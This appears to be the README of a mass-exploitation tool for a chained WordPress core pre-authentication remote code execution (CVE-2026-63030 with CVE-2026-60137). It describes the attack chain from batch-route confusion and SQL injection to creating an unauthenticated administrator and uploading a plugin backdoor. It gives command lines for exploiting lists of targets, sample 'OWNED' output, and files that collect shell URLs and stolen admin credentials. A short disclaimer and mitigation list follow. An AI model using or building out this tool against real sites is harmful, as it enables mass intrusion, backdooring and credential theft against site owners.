WP2Shell — CVE-2026-63030 + CVE-2026-60137

WordPress Core Pre-Authentication RCE (mass exploit / detector)

📋 Vulnerability Overview

🔍 Technical Description

Two chained flaws in the WordPress core:

1. CVE-2026-60137 — SQL Injection: SQL injection in the author__not_in parameter of the internal WP_Query class.
2. CVE-2026-63030 — REST API batch route confusion: the /wp-json/batch/v1 endpoint desynchronizes batch entries, causing a request to "fall" into the next route.

The chain converts the SQLi into pre-authentication RCE:

route confusion /wp-json/batch/v1 ─► SQLi in author__not_in
        │                                    │
        └──────────────┬─────────────────────┘
                       ▼
        UNION fake-post + oEmbed + changeset poisoning
                       ▼
        POST /wp/v2/users  (roles: administrator)  ← admin created without auth
                       ▼
        login → upload plugin backdoor → RCE

Fallbacks: direct INTO OUTFILE (FILE privilege) and blind hash extraction + crack.

🚀 Usage

python wp2shell.py exploit -l targets.txt --cmd whoami --authorized -k -c 10 --delay 2
python wp2shell.py remote  -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv

📊 Output

[+] [14:22:31] https://target.com  OWNED  ✓1 ~0 ✗10
[~] [14:22:32] https://other.com   ADMIN  ✓1 ~1 ✗10

---- SUMMARY ----
[+] owned=1   [~] admin=1   [-] fail=10   [.] error=0

• owned.txt — targets with RCE (shell URL)
• admins.txt — admins created without RCE sink (credentials)
• exploit_log.txt — per-target detail
• results.csv — summary (exit_code: 0=owned, 4=admin, 2=fail, 3=error)

⚙️ Features

• In-band UNION SQLi + timing + X-WP-Total oracle
• Pre-auth admin via oEmbed/changeset poisoning
• Hidden login (WPS Hide Login whl_page via SQLi) + common slugs
• Plugin upload with correct nonce/activation + INTO OUTFILE fallback
• Unlimited mass scanning, per-target parallelism, anti-hang deadline
• Real-time owned/admins

📁 File Structure

├── wp2shell.py       # exploit + detector
├── targets.txt       # targets (one URL per line)
├── owned.txt         # RCE achieved (auto-created)
├── admins.txt        # admins created (auto-created)
└── README.md

⚠️ Disclaimer

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Mitigation

1. Update to 6.8.6 / 6.9.5 / 7.0.2 (or higher)
2. Block unauthenticated POST to /wp-json/batch/v1 and /?rest_route=/batch/v1
3. Audit wp-content/uploads/ and wp-content/plugins/ for suspicious PHP